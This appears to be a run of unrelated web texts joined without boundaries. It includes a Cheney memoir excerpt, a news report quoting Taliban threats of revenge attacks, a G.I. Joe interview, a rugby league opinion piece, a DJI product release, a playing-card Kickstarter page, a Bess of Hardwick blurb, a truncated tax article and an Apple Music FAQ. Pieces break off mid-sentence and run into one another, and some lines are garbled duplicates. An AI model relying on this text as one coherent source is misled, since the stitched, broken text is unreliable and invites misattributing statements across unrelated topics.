“On Tuesday morning, May 22 [2007]," Cheney writes, "a David Ignatius column appeared in the Washington Post titled ‘After the Surge: The Administration Floats Ideas for a New Approach in Iraq.’ It quoted administration officials on the need to revamp policy in order to attract bipartisan support and to take into account the fact that the surge might not have the stabilizing effect we had hoped.
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"I was very concerned when I read the piece, and I raised it with the president in the Oval Office. ‘Whoever is leaking information like this to the press is doing a real disservice, Mr. President,’ I said, ‘both to you and to our forces on the ground in Baghdad.’ … ‘We have to correct this, particularly with our generals in the field.’ …
"A short time later [national security adviser] Steve Hadley came into my office and closed the door. He told me that he was the source for Ignatius and that he’d talked to him at the instruction of the president.”
The book, written with his daughter Liz Cheney, will be out Tuesday from Threshold Editions, a publishing imprint founded by his former aide Mary Matalin. Other revelations of West Wing intrigue:
—In July 2003, after the Joe Wilson op-ed in The N.Y. Times, national security adviser Condoleezza Rice said during an Air Force One gaggle, re the 16 words Iraq and uranium: “We've said now we wouldn't have put it in the speech if we had known what we know now.”
Cheney writes: “The result was the conflagration I had predicted. … Rice realized sometime later that she had made a major mistake by issuing a public apology. She came into my office, sad down in the chair next to my desk, and tearfully admitted I had been right. Unfortunately, the damage was done. [CIA Director] George Tenet was furious at having had to apologize.”The Afghan Taliban said it would give “top priority” to retaliate against government agencies involved in the execution of jihadist prisoners and claimed it has “thousands of fully armed martyrdom seekers” at its disposal who are “awaiting to take revenge.”
The Taliban issued the statement yesterday on its official website, Voice of Jihad, after the Afghan government executed six jihadists, including a member of al Qaeda, for various attacks in the country.
One of the jihadists executed yesterday by the Afghan government was Khan Agha, who was better known as Abdul Rahman, according to Khaama Press. Rahman was involved in the assassination of National Directorate of Security Deputy Director Dr. Abdullah Laghmani on Sept. 2, 2009. Laghmani was one of 23 Afghans killed in a suicide attack inside a mosque in the city of Mehtarlam, the capital of Laghman province. The NDS captured Rahman and three associates in December 2009, and was described as a Taliban commander in the province. Al Qaeda and Taliban leaders often are members of both groups.
The Afghan government has indicated that it would continue to execute members of the Taliban and allied groups. Taliban spokesman Zabihullah Mujahid responded by threatening agencies involved in the executions.
“From now onwards, Allah willing, the Mujahideen shall make all enemy bodies involved in martyring Mujahideen inmates as their top priority during military planning,” Mujahid said. “They will not be allowed to breathe peacefully nor will they ever be able to feel security.”
“We have thousands of fully armed martyrdom seekers awaiting to take revenge, we shall never relinquish our turn,” Mujahid concluded.
While Mujahid’s claim that the Taliban has “thousands of martyrdom seekers” may be seen as boastful, the groups has conducted numerous attacks against Afghan and Coalition facilities using multiple suicide bombers and armed fighters over the past decade. The Taliban possesses the infrastructure to recruit, indoctrinate, train and deploy these suicide assault teams throughout Afghanistan.
Such attacks are commonplace in Afghanistan, and many often take place in the capital of Kabul. In one of the more complex attacks that employed “martyrdom seekers,” the Taliban assaulted Camp Bastion, a sprawling military base that was shared by US Marines and British troops and located in the middle of the Dashti Margo desert in Helmand province. On Sept. 14, 2012, a 15-man Taliban team penetrated the perimeter at the airbase, destroyed six USMC Harriers and damaged two more, and killed the squadron commander and a sergeant. Fourteen of the 15 members of the assault team were killed, while the last was wounded and captured.
The Taliban has given some clues about the organization of its martyrdom units. It has identified two key leaders of its “Suicide Groups.” Mullah Taj Mir Jawad has been described as the head of a “martyrdom-seekers battalion.” Jawad swore allegiance to Mullah Mansour in a video released by the group in September.
Qari Abdul Raouf Zakir, the “commander” of the Taliban’s “suicide groups,” also swore allegiance to Mullah Mansour in the same video as Jawad. Qari Zakir, who was designated as a terrorist by the State Department in November 2012, has long commanded the Haqqani Network’s suicide operations.
The Haqqani Network is an al Qaeda-linked Taliban subgroup that operates throughout Afghanistan and is based in Pakistan, where it is supported by Pakistan’s military and the Inter-Services Intelligence Directorate (ISI). Sirajuddin Haqqani, the operational commander of the Haqqani Network, serves as Mullah Mansour’s deputy and as the head of the Taliban’s military.
The Taliban has also promoted suicide teams in its propaganda. The Muaskar ul Fida, one of several suicide squads operating in Afghanistan, swore allegiance to the Taliban’s new emir in November 2015.
Bill Roggio is a Senior Fellow at the Foundation for Defense of Democracies and the Editor of FDD's Long War Journal.
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With G.I. Joe: Retaliation now available on VOD and hitting Blu-ray/DVD next week, I was able to sit down with director Jon M. Chu last weekend for an exclusive video interview. However, with Chu returning to direct G.I. Joe 3, I used a lot of my time talking about the next installment and what fans can expect. Some of the highlights he told me were:
Bruce Willis and Dwayne Johnson are returning.
and are returning. The release date is still being figured out.
Regarding the script, they’re currently “narrowing down the writer.”
On Retaliation, they learned that fans were okay with stretching things a little further, so now they can “double down on the adventure part of this movie.” He cautions that they won’t go sci-fi, but they can “push the boundaries of the world a bit more.”
, they learned that fans were okay with stretching things a little further, so now they can “double down on the adventure part of this movie.” He cautions that they won’t go sci-fi, but they can “push the boundaries of the world a bit more.” They’re not sure if they’re going to shoot in 3D and/or IMAX, but everything’s on the table. Says there are some benefits to post-converting.
They learned on Retaliation that it’s hard to have a lot of characters, but it would be fun to see some new Joes joining the team.
that it’s hard to have a lot of characters, but it would be fun to see some new Joes joining the team. I asked if he ever thought about combining the worlds of Transformers and G.I. Joe since they’re both owned by Hasbro. Says he would love to, as long as the reality of their worlds matches.
In addition to the highlights above, Chu talked a lot about what’s on the Retaliation Blu-ray, the legacy of G.I. Joe and how they can incorporate some of those things in the third film, working with Hasbro, Masters of the Universe, what he collects, and how he wants to hear from the fans regarding what they want to see in the third installment. If you’re a G.I. Joe fan, I think you’ll really enjoy the interview. Watch it after the jump.
Jon M. Chu Time Index:ANZ Stadium and Allianz Stadium have economies of scale on their side; they can make huge financial guarantees the clubs simply cannot resist. Canterbury needed 14,000 people on Monday night just to break even. I believe there is a solution, a superior means to match the right events to the right venues. Clubs should be completely removed from dealing directly with venues. Instead, the NRL should look at its draw, decide exactly how many of its 192 games it wants played in each market, and do the negotiations on behalf of everyone. If it's in rugby league's interests to have 25 games at Homebush, two in Perth, six in Wollongong and five at Leichhardt, then that's what the NRL books – passing the financial guarantees and incentives onto the clubs on a pro rata basis. Obviously you can't have 16 nomad clubs. But the minimum number of games Sydney teams have at their 'home' ground should be determined by how much support they have there, not by a contract that keeps them there regardless.
How many well-attended games a year can Allianz Stadium, or Campbelltown Stadium, or Barlow Park in Cairns, support? Let's only go there that number of times. The other advantage of centralising stadium deals is that the NRL can incentivise state governments and city councils. At the moment, clubs just go out and agree to play in Cairns or Perth or Hamilton and cop the cash, without sharing any information. But if the game negotiated as a whole, it could say to Alice Springs: "We'll let you have a comp game next year if you take a Nines weekend, or a developing states game, or a Pacific Test or a trial this year". We could get some great outcomes for the game this way. The league would actually book Canterbury's home ground on their behalf, then give the game to Canterbury. But in other instances, they'll book a the Cake Tin in Wellington – as an example – and invite clubs to tender for the event. The decision will be made according to how the match would draw at the home team's primary venue, how the teams involved have drawn in Wellington in the past, how it fits in the NZRL's objectives and other factors. It would be a far superior process to the one we have now.
What did I learn from Monday? That the'metrics' surrounding rugby league – the Facebook likes, the Twitter followers, the merch sales, the online engagements – are real people. And if you take a game to them, they'll come along and behave like real people to create an experience that adds up to far more than the sum of its parts. Easy fix There is a simple way to close the loophole that allows Michael Ennis to serve a suspension this weekend and then come into the NSW team as a "late" replacement for Robbie Farah. Why is this a problem? Because it encourages dishonesty, it lacks integrity. There is an incentive there for Farah, and for the NSW team, to lie about his injury and about their own intentions. I'm not saying they are lying, I'm saying the incentive to do so is there.DJI Introduces New High-Performance Accessories and Service Plan To Help Professional Customers Get The Most From DJI Products
News
DJI Introduces New High-Performance Accessories and Service Plan To Help Professional Customers Get The Most From DJI Products
Customizable Remote Controller, High Gain Antenna, High-Intensity Display And Premium Customer Support Offer New Benefits For Professionals
DJI, the world’s leader in creative camera technology, today introduced new high-performance hardware and a premium customer support program to help professional customers get the most out of their aerial and handheld imaging equipment. The new Cendence remote controller, DJI Tracktenna high-gain antenna and CrystalSky monitor provide personalized controls and better performance for the most demanding uses, while DJI Circle delivers a new premium tier of support for DJI products and the people who rely on them to do their jobs.
“From rescue crews to software developers, from filmmakers to contractors, DJI’s professional customers demand the highest performance from our aerial platforms and handheld stabilizers,” said Paul Pan, DJI Senior Product Manager. “We are committed to giving them the tools they need to do their jobs right, so they can accomplish their goals with more power, precision and control than ever before.”
Customizable Remote Control
The new Cendence remote controller is DJI’s first multi-platform controller for professionals who need versatility, efficiency and personalization at their fingertips. Its intuitive ergonomic design fits perfectly in your hands, allowing easy access to programmable function buttons and dials.
Users can program and store customized button configurations for different flight and shooting options, and can use two dials to adjust the pitch and yaw of the gimbal at the same time. With Cendence, pilots have instant access to functions like ISO, sharpness, shutter speed, focus and more, without navigating the touch menu settings on their mobile device. Cendence features built-in SDI and HDMI video transmission ports for live HD broadcast and streaming applications, and can be easily adapted to use DJI’s Lightbridge or WiFi video transmission technology.
The controller mounts smartphones, tablets and DJI’s high-brightness CrystalSky monitors, and also features a smaller secondary screen to display critical telemetry data. Long battery life of up to 4 hours and the ability to easily exchange batteries make power management easier and longer flights possible. Cendence is compatible with DJI’s Matrice 200 and Inspire 2 drones. Cendence will be available later this year, priced at $999 (USD).
For more information: https://www.dji.com/cendence
Improved Flight and Data Communication
DJI Tracktenna is a high-gain antenna that ushers in a new era of remote wireless communication by improving signal reliability over long distances and resisting interference. Its built-in sensors and two-axis gimbal automatically point the antenna to the aircraft at all times, bolstering the connection even while the operator is in motion or on a vehicle.
When installed on the new Cendence controller in optimal conditions, DJI Tracktenna can boost signal transmission to over 6.2 miles (10 km), giving professionals increased responsiveness and confidence when performing complex flights like search and rescue missions, power line inspections, pipeline inspections, live HD broadcasting, filmmaking and more. Pilots should always understand and follow any applicable laws and regulations regarding flight distance.
DJI Tracktenna supports transmission speeds of up to 10 Mbps within 1.24 miles (2 km) for data-intensive applications. It supports both 2.4 GHz and 5.8 GHz frequency bands, giving it greater signal stability. Pricing and availability for DJI Tracktenna will be announced at a later date.
Brighter Dedicated Monitors
The CrystalSky family of dedicated monitors offers a brighter and more reliable display screen for pilots, photographers and filmmakers who need more robust visual information than is available on smartphones and tablets. The CrystalSky series features displays up to 2000 cd/m2, which is four times brighter than a typical smartphone or tablet, allowing clear screen visibility even in full daylight.
CrystalSky monitors are available in 5.5-inch and 7.85-inch sizes. They attach directly to the new Cendence controller, and use a new dedicated mounting bracket to attach to other DJI controllers. They are designed to operate in temperature ranges from -4 to +104 degrees Fahrenheit, and can operate for up to 6 hours in ideal conditions using a secondary external battery.
CrystalSky runs optimized versions of the DJI GO, DJI GO 4 and DJI Pilot apps, and includes two microSD card slots for rapid storage and playback of encoded 4K video. CrystalSky will be available soon in three configurations: a 5.5-inch, 1000 cd/m2 version for $469 (USD); a 7.85-inch, 1000 cd/m2 version for $699 (USD); and a 7.85-inch, 2000 cd/m2 version for $999 (USD).
For more information: https://www.dji.com/crystalsky
Premium Customer Service
For professional and advanced customers with demanding needs, the new DJI Circle program delivers a premium customer support program dedicated to ensuring world-class service whenever help is needed. The program offers broad coverage over a twelve-month period for up to five DJI products, including the Inspire, M600, Mavic Pro and Phantom drone series, and the Ronin and Osmo series of handheld stabilizers.
Each DJI Circle member receives the services of a personal DJI concierge to guide them through the many benefits of the program, and to ensure they can take advantage of those features easily and efficiently. The concierge can manage expedited battery rentals, prioritize product shipments, field technical support questions, provide information tailored to members’ particular needs, and invite them to exclusive DJI events where they can network with both DJI product managers and industry experts. With one single point of contact from around the world – including backup concierges available around the clock, every day of the year – DJI Circle members are free to focus on their creative needs.
DJI Circle benefits include:
Battery Rental Service –Upon request, batteries will be delivered to ensure your DJI devices always have as much power as needed to get you through your project. This service also helps avoid air travel restrictions associated with some DJI battery technology.
–Upon request, batteries will be delivered to ensure your DJI devices always have as much power as needed to get you through your project. This service also helps avoid air travel restrictions associated with some DJI battery technology. Device Repair and Backup Service – Receive coverage for repair of accidental damage to DJI products, up to $15,000 (USD) annually. When sending a product to DJI for repair you will receive a temporary replacement device to use until the repair is complete, minimizing delays so you can meet project deadlines.
– Receive coverage for repair of accidental damage to DJI products, up to $15,000 (USD) annually. When sending a product to DJI for repair you will receive a temporary replacement device to use until the repair is complete, minimizing delays so you can meet project deadlines. Global SOS Service – Gain access to emergency medical services in the event you become ill or injured while traveling, letting you confidently take on projects in remote locations around the world.
– Gain access to emergency medical services in the event you become ill or injured while traveling, letting you confidently take on projects in remote locations around the world. Exclusive Membership Benefits – Be among the first to receive new DJI products, plus gain exclusive access to DJI events and networking opportunities, helping you stay connected and at the forefront of aerial imaging technology.
– Be among the first to receive new DJI products, plus gain exclusive access to DJI events and networking opportunities, helping you stay connected and at the forefront of aerial imaging technology. Airport Lounge Access – Travel in comfort with free access to more than 850 airport lounges across the globe.
To ensure premium service quality, DJI Circle will first be available starting in May by invitation only to customers in the United States and mainland China, starting at $4,699 (USD) for a 12-month period. To request an invitation for future opportunities to become a DJI Circle member, email djicircle@dji.com.
DJI at NAB 2017
Cendence, DJI Tracktenna and CrystalSky are on display at the DJI booth at the NAB Show in Las Vegas, Nevada from April 24-27, alongside the new Ronin 2 professional stabilizer and the entire DJI product line of creative camera technology. Conference attendees should visit DJI booth #C2807 in the Central Hall of the Las Vegas Convention Center.SINS is a new series of playing cards by Thirdway Industries, designed by the italian designer Giovanni Meroni, inspired by the Seven Deadly Sins.
Welcome, Sinner. We were expecting you. My name is Prometheus, and I'll guide you in the World of SINS.
Lost Eden case revealed!
A limited, custom laser-engraved, black acrylic Carat Card Case for three decks (trident). If you want add the Lost Eden Case, add +23€ USA / +33€ WORLD. Please send me a PM (or comment) if you do that, because I will produce just few of these. You can add as many as you wish. Check the "add-ons" section for details.
Atra Obolus revealed!
A 2" solid black nickel coin. To have this item, please add +13€ per coin and send me a PM telling me how many coins you want. You can add as many as you wish. Check the "add-ons" section for details.
There are three decks in the SINS Series:
SINS Corpus, green and gold foil on black stock.
, green and gold foil on black stock. SINS Mentis, black and gold foil on white stock.
, black and gold foil on white stock. SINS Anima, silver and black foil on red stock. Limited to 1177 units. Retail after Kickstarter $55.
, silver and black foil on red stock. Limited to 1177 units. Retail after Kickstarter $55. NEW - The decks will be embossed and inner foiled.
Everything will be completely different for each deck. Tuck boxes, back and cards. For example, here is the same court in three different versions:
The backs of SINS Corpus and SINS Mentis represent Eden. Check the "symbology" chapter, below, to know more.
SINS Anima cards are red. Here is the back and the AoS:
SINS Mentis is based on the Sins who influence thought, SINS Corpus on the Sins who influence the body and SINS Anima is based on all the Sins combined.
Every Sin begins with a twisted thought.
SINS MENTIS is based on the Sins who influence thought, so Greed (Diamonds), Envy (Clubs), Pride (Spades) and Lust (Hearts).
Mentis Spades - Pride
Stand above the others. You'll be the best one.
Look in the mirror, forget you're a human.
Mentis Diamonds - Greed
You can't get enough, can you?
Material things are the keys that open many doors.
Mentis Clubs - Envy
Look at them. Their life is better than yours.
One way to improve yourself is crave something that others already have.
Mentis Hearts - Lust
Your thoughts are twisted, Sinner.
And they may keep you sane in this crazy world.
The Sinners (Mentis)
The first one was created to live in Eden, and She was created from his rib.
Their unique rule was to not eat the Apple of Knowledge, and her first thought was to break it. Me? It's not my fault...
Pips
Pips of SINS are big and tall. Some cards will have hidden elements like the 9 of hearts tiny blood drop.
You're human, Sinner - and so is yours body.
SINS CORPUS is based on the Sins who influence the body, so Wrath (Diamonds), Gluttony (Clubs), Sloth (Spades) and Lust (Hearts).
Corpus Spades - Sloth
Are you comfortable? It's okay. Don't do anything...
If you don't take it easy, someday you'll burn yourself.
Corpus Diamonds - Wrath
Let the anger flow through you. Destroy everything!
Sometimes, the only way to open doors is smash them.
Corpus Clubs - Gluttony
It tastes good, doesn't it?
Hunger is our primary need. Never forget that, Sinner.
Corpus Hearts - Lust
At least, you'll be in good company.
We may be banned, we may be wicked, but we won't be lonely.
The Sinners (Corpus)
When She bit the Apple, they knew everything. They became Sinners, like all of us.
They were banned from Eden. Mortals, scared and frail. But Humans, after all...
Pips
Pips will be identical in SINS Corpus and SINS Mentis. I wanted SINS Mentis and Corpus great for playing all games who requires two decks, so I kept pips relatively standard.
Mind and body isn't complete without your soul.
SINS Anima is based on all the seven Sins - and will be completely red. This deck will be a limited edition and will have a higher price when the Kickstarter campaign ends. SINS Anima is not available as add-on.
Anima Spades are inspired by Sloth and Pride.
Anima Diamonds are inspired by Wrath and Greed.
Anima Clubs are inspired by Envy and Gluttony.
Anima Hearts are the apotheosis of Lust, with an accent of Wrath.
Anima Aces are completely different than Mentis and Corpus.
New cards revealed! JoS Sloth/Pride and KoC Envy/Gluttony
Pips are the same, on red background.
In SINS Anima, Adam and Eve reached the full awareness of themselves, and became the first two humans on the earth. Sinner, mortals and frail. But hungry, aggressive and strong. They became two dreamers.
New - Prometheus will be included in every deck!
Prometheus, the iconic Snake of SINS, with be a third joker for every deck. Here are the Corpus and Mentis versions:
And the red Anima version:
Those cards will be put inside the decks, and are a free gift for everyone.
The Prometheus's Box is the final reward of the SINS campaign and includes a lot of stuff. It's only for few, brave Sinners. It includes the following:
4 SINS Anima Decks (retail value $220)
(retail value $220) 10 SINS Corpus Decks (retail value $180)
(retail value $180) 10 SINS Mentis Decks (retail value $180)
(retail value $180) Secret gift from the Snake (retail value $50)
(retail value $50) NEW! 2 Atra Obolus are included into Prometheus's Box (retail value $35)
are included into Prometheus's Box (retail value $35) NEW! One Lost Eden Case (retail value $35+)
(retail value $35+) NEW! Another secret gift from the Snake (retail value $50)
It will also include other extras, that will be revealed during the campaign. These bundles do not include uncut sheets.
17.000 € - SINS is funded. // REACHED!
30.000 € - Tuck boxes upgrade: double foil and embossing on all decks! // REACHED!
SECRET STRETCH GOAL - Atra Obolus // UNLOCKED!
40.000 € - Metallic ink and extra card for every deck // REACHED!
SECRET STRETCH GOAL #2 - Lost Eden case // UNLOCKED!
50.000 € - Inner foil for all decks // REACHED! (unlocked early)
FUNDING DAY - LAST TEMPTATION FOR ALL BACKERS!
Here is the list of items you can add to your pledge. If want to add something, just edit your pledge and add the amount of the extra items you want indicated in the table below. Send me a PM if you need assistance.
New - Lost Eden Case
A custom Carat Card Case, produced just for SINS campaign:
Transparent Black
Made for a trident, three decks (decks not included)
Custom laser engraving on lid
Limited item - just few will be produced (50-100 cases)
Made by 5mm acrylic sheets
Lid closed with 6 neodymium magnets.
I suggest this box for display SINS Corpus, Mentis and Anima, but you can add it with any pledge. You can add as many as you wish.
If you want add the Lost Eden Case, add +23€ USA / +33€ WORLD. Please send me a PM (or comment) if you do that, because I will produce just few of these.
I think Carat Card Cases are the best way to display decks, because they're the only box that allow you to see what is inside. This box will have a light engraved design on one side and it's black, but it will be transparent anyway. Also, Carat Card Cases are very sturdy.
I started to work with Sherman, Carat Card Cases creator, since my campaign Omnia: The Golden Age - We launched the first Carat Card Case X3 together and I'm very proud about that.
The images shown are renderings - the final product may be different.
***One Lost Eden Case will be included for free in all the Prometheus's Boxes.
Atra Obolus coin
Atra Obolus is a 2" solid black nickel coin - made mainly for SINS backers. It's a limited item, since I'll produce around 200 units.
It will be heavy and detailed. To have this item, please add +13€ per coin and send me a PM with the number of coins you pledge. You can add as many as you wish - Coins are free shipping for everyone. Prometheus's Box already include 2 coins.
Uncut sheets
An authentic uncut sheet of SINS playing cards pulled straight off the factory press prior to being cut and boxed.
Thirdway Industries uncut sheets are very rare: they are produced just for Kickstarter Backers and only few will be available after the campaign.
To add an uncut sheet, pledge +35€ (+50€ outside US) for a Mentis or Corpus and +65€ (+80€ outside US) for an Anima. If you want all of them, you can pledge just +110€ or +125€. If you want add an uncut sheet, send me a PM, so I can count how many I have to print!
Here are some extras for our supporters.
If you are a proud backer of SINS, you can support the project changing your profile image (Kickstarter or Socials) with your favourite Sin.
>> download the badges <<<
Background
For the ones who want the true knowledge.
For the ones who don’t fear anything.
For the ones who are hungry.
For the ones who fight back.
For the ones who dream too high.
For the crazy ones. For the rebels. For the lovers.
For the humans.
Turn your back to Eden, eat the Apple of Knowledge.
Symbology about the backs and the decks
The backs of SINS represents Eden, the place where the first Sin happened.
In SINS Mentis, Eve was planning to eat the Apple of Knowledge, but she didn't actually do that - so Eden was bright.
In SINS Corpus, Eve ate the Apple and she was banned. Without her and Adam, an eternal night fell on Eden. This means, chronologically, that SINS Corpus happened after SINS Mentis.
In SINS Anima, Adam and Eve realized they're the first two humans in the world. They are banned, frail and mortal. But after they ate the Apple, they also are full of self-knowledge. They became the first two dreamers. Eden is now empty and is red. Red like blood and hell fire - but also red like the heart, passion and life.
The three decks also represents the philosophy behind the name Thirdway Industries: thesis, antithesis, synthesis.
Additional Notes
SINS is a Thirdway Industries deck, and will be available on Thirdway Store when the campaign will be over.Bess of Hardwick's Letters brings together, for the first time, the remarkable letters written to and from Bess of Hardwick
Bess of Hardwick (c.1521/2 or 1527-1608) is one of Elizabethan England's most famous figures. She is renowned for her reputation as a dynast and indomitable matriarch and perhaps best known as the builder of great stately homes like the magnificent Hardwick Hall and Chatsworth House. The story of her life told to date typically emphasises her modest birth, her rise through the ranks of society, her four husbands, each of greater wealth than the last, and her ambitious aggrandisement of her family.
Bess of Hardwick's letters, which number almost 250 items of correspondence, bring to life her extraordinary story and allow us to eavesdrop on her world. Her letters allow us to reposition Bess as a complex woman of her times, immersed in the literacy and textual practices of everyday life, as her correspondence extends from servants, friends and family, to queens and officers of state.
You will find on this site:This is an updated version of an article published on March 15.
Hardly anyone likes the alternative minimum tax, a provision that both President Trump’s skeletal tax plan and the House Republican overhaul would eliminate.
At its most basic, the A.M.T.’s goal is simple: In a tax system with enough loopholes to fill a macramé tapestry, the idea was to ensure that the richest taxpayers were not able to skip out on paying altogether. A version was introduced in 1969 after |
Apple Music's algorithmic radio stations
the ability to like, comment, play, and save any custom artist content
What happens if I decide not to subscribe after the three month trial?
Any streaming music you've added to your library from the Apple Music catalog will no longer be playable, and you'll no longer be able to search through the streaming catalog or play custom playlists. (You have thirty days to reinstate your membership if you want to restore these tracks.) You'll also stop having access to Beats 1, Apple Music algorithmic radio, and custom artist content.
Finally, unless you switch to the stand-alone iTunes Match service, you won't be able to stream your previously purchased and ripped music to your other devices. (Any songs you own that you've downloaded to other devices will remain as-is, however — they won't disappear.)
How do I unsubscribe?
You can keep your Apple Music subscription from renewing by following these instructions:
What devices can I use to listen to Apple Music?
Apple Music is available on the iPhone, iPad, and iPod touch running iOS 8.4 or later; it's also available on Apple Watch 1.0.1 or later; on Macs and PCs running iTunes; on Android; and on the Apple TV.
Apple Music also works on the web...kind of. While there isn't a full-blown version of Apple Music available on the web, widgets avaialble through the Apple Music Marketing Tools website now allow you to sign in to your Apple Music account and listen to full songs, playlists, and albums on the web. You can also embed these widgets on other websites.
Wait... Android? Really?
Really. Apple wants to offer all your music in one place, so it needs the flexibility to do so on multiple platforms.
What about listening on an iPod?
Sadly, only the aging iPod touch is compatible with Apple Music; the new iPod nano and iPod shuffle are limited to tracks you own.
How does Apple Music work on the Apple Watch?
You can sync any music from your Apple Music collection to your Apple Watch like you would a normal playlist. You don't have to have your iPhone nearby to play it, as it's stored locally on your Apple Watch; if you unsubscribe from Apple Music, however, the next time your Apple Watch connects to the internet, any Apple Music songs within that playlist will disappear.
I already use Pandora/Spotify/Google Music/Tidal/etc. Why would I use Apple Music instead?
Apple Music's biggest asset is its integration: You don't have to download extra software, and if you have a Mac, iPhone, or Apple TV, you can use Siri to control it. You use your Apple ID to pay for it. And it can tap into your iTunes library, allowing you to listen to any of those songs while you're on the go — even if you don't have them downloaded to your device.
Spotify Apple Music Google Play Music Amazon Prime Music Pandora Free trial period 30 days 3 months 30 days 30 days (with Prime membership) 30 days for Premium, 7 days for Plus Price $9.99/month ($14.99 for family up to 6 people) $9.99/month ($14.99 for family up to 6 people) $9.99 ($14.99 for family up to 6 people) Comes with Prime membership ($99/year), $7.99/month for Unlimited Pandora Premium: $4.99/month, $54.89/year Pandora Plus: $9.99/month, $109.89/year Library size ~ 30 million songs ~ 40 million songs ~ 40 million songs ~ 2 million (may differ depending on location), ~ 40 million (Unlimited) ~ 40 million Number of countries supported Over 60 Over 110 Over 60 See Amazon Australia, New Zealand, U.S.A.
I'd give Apple Music a shot if any of the following are true for you:
You want your iTunes collection easily side-by-side with your streaming music
You like Siri's music integration
You don't want to download an app and pay for a third-party service
You love custom-built mixtapes
You want an affordable family plan
And hey: it's free for your first three months. Might as well give it a try.
How do I get Apple Music, exactly?
On your iPhone or iPad, make sure you're running iOS 8.4 or later, then open the Music app. You can also use Apple Music on your Mac via iTunes using OS X El Capitan or later, or on Apple TV 9.2 or later.
Which countries can listen to Apple Music?
Over 100 countries can currently groove to Apple Music; here's the company's current list of who can listen.
Music
What does Apple Music look like in the Music app on iOS?
The Music app on iOS showcases five tabs along the bottom of its screen, with three of them dedicated to Apple Music: For You, Browse, and Radio. Your Library lives to the left of those tabs; on the Mac, you get a link to the iTunes Store, while iPhone and iPad users will have a tab for search.
Library provides an easy-to-tap list for any playlists, artists, albums, songs, Home Sharing libraries, and downloaded tracks you've both synced to your iPhone or iPad along with any Apple Music content you've added.
For You offers several side-scrollable sections tailored to your taste. At the top, users will be presented with New Music and Favorites Mixes, which are updated Fridays and Wednesdays, respectively.
Below that are six daily playlist recommendations, a recently played section that tracks playlists you may have enjoyed but not saved, a grouping of playlists you listen to frequently, daily album recommendations, playlists spotlighting specific artists, new release recommendations, and an assortment of updated behind-the-scenes information from artists you like.
Browse highlights new artist releases along with offering quick access to the entire Apple Music catalog and playlist rotation. You can scan through the week's new albums or look at specific genres; browse playlists; view top charts; play video; and more.
Radio is where you can find Beats 1 and its various partner stations, along with Apple Music's algorithmic radio stations.
Search does what it says on the tin: You can use this tab to either search the Apple Music catalog or your own library.
What about on iTunes for the Mac and PC?
Like with the Music app, you'll see the same top-tab categories: Library, For You, Browse, Radio, and Store. Clicking on the drop-down arrow next to Library will let you switch through several different organizations of your Library, including playlist view.
Apple's not going to automatically put music in my music library, right?
Nope: Any music that shows up in your Library tab is music that you put there.
What's the streaming bitrate?
Apple Music files are sent to your device at 256kbps AAC, similar to the iTunes Match service. According to Apple senior vice president Eddy Cue, the actual bitrate varies depending whether you're on Wi-Fi or cellular, likely to save on your monthly data bill. This is done automatically, though you can choose to stream in a higher bit-rate over cellular via the Music preferences screen.
So my music lives next to the streaming service?
Next to, yes, but also integrated with. Your current music collection now exists in iCloud Music Library, accessible on any of your devices. You can also add anything from the Apple Music collection to that library. Of course, if you never want to download songs from Apple Music's streaming catalog, you have that option — but it takes away a huge component of the service.
I heard Apple Music's streaming tracks are DRM-locked?
Yes: Any song from the Apple Music catalog has DRM (digital rights management) applied to it, which is how the company makes sure you don't sign up for a streaming service, download a bunch of songs for offline listening, then cancel and run away with that music.
As such, you can play any song from the Apple Music catalog on your devices, but you can't burn it to a CD or play it in, say, Spotify's online player. Makes sense enough, and it's similar to the DRM used by every other major streaming service.
Note: This doesn't apply to tracks from your own collection that you've synced via iCloud Music Library: They're either matched to the DRM-free iTunes Store catalog, or uploaded as-is. You can then stream and download songs to any of your other devices (up to 10).
If you cancel your Apple Music subscription, those matched or uploaded tracks will disappear from iCloud Music Library, but any tracks you've downloaded will remain playable. Any songs from the subscription catalog, however, will become unplayable.
But [insert site here] told me Apple DRM-locks the music on my Mac!
That website is wrong. As of August 2016, the only thing Apple DRM-locks is their Apple Music catalog.
Can I listen offline?
Yup! Offline listening to both songs and playlists is one of the perks of Apple Music. (It's also why any songs from the streaming catalog are DRM-locked.)
Can I burn Apple Music songs to a CD?
Nope: That would be stealing. They're not tracks you own, even if you download them for offline use; they're protected.m4p files.
If you have an Apple Music account, do you also need to subscribe to iTunes Match to get access to iCloud Music Library?
Nope! iTunes Match is bundled inside Apple Music. The only reason to subscribe would be if you plan to cancel your $9.99/month Apple Music subscription but still want access to your local music across all your devices.
Why would you choose iTunes Match rather than just subscribe to Apple Music? Math, my friends: iTunes Match is just $24.99/year, while an Apple Music subscription runs you $119.98/year. If playing music from Apple's catalog doesn't appeal to you, but having on-the-go access to your full owned music library does, iTunes Match is a good alternate option.
I heard there's a song limit on matching for Apple Music and iTunes Match?
You're correct: You can only match up to 100,000 tracks from your library to the Apple Music or iTunes catalog, depending on what kind of subscription you have.
Can I mix and match my songs with the Apple Music collection?
Absolutely: You can build playlists with both your music and the Apple Music collection, and add Apple Music songs to your library.
What does Apple Music mean for the iTunes Store?
The iTunes Store is very much alive: Just because you can stream music doesn't mean Apple expects you never to buy a song again in your life. Sometimes, you just want to own an album or song, and iTunes will be there for you.
Unfortunately, Apple doesn't offer an easy way to buy albums you've found first on the streaming service, beyond just searching in the iTunes app or within the iTunes Store on your Mac.
Is Apple Music getting any exclusive content I won't be able to hear elsewhere?
All kinds! Apple Music has debuted music from Pharrell, Taylor Swift, Chance the Rapper, and many other high-profile artists in its first year of operation.
Beats 1 also offers a variety of special and exclusive shows: You'll be able to hear radio spots from Jaden Smith, St. Vincent, Pharrell, and Dr. Dre, as well as exclusive interviews from musicians like Eminem.
How do I tell Apple Music what I like to listen to?
When you first set up Apple Music after upgrading, it'll ask you to highlight genres and artists that you like by tapping on gigantic bubbles. From there, it's an ever-evolving process where the service pays attention to what you favorite and listen to and adjusts accordingly; you can also tap the Like icon while listening to a song to ask Apple Music to play more like the current song, or less of that genre.
What about new music?
The Browse tab of the Music app is dedicated to finding the best new music specifically for you — it's not just a top ten list or Billboard chart. Apple Music looks at what you like and curates accordingly, highlighting new songs, albums, and artists it thinks you'll love.
Tell me more about curated playlists?
Curated playlists are hand-built by Apple's Music Editors and artists; they're targeted specifically to your genre tastes, so if you like soundtracks, for example, you may get "The Musical Dialogue of Gilmore Girls" in your For You tab.
But if you're looking for something different, you can also browse through all of Apple's custom playlists under Browse > Curated Playlists.
Is there a way to share what I'm listening to?
You bet. Apple has integrated Twitter, Facebook, and Messages into Apple Music, so you can share playlists, albums, and videos with your friends. Unfortunately, those shared playlists aren't searchable nor live-updating: You'll just get a static link.
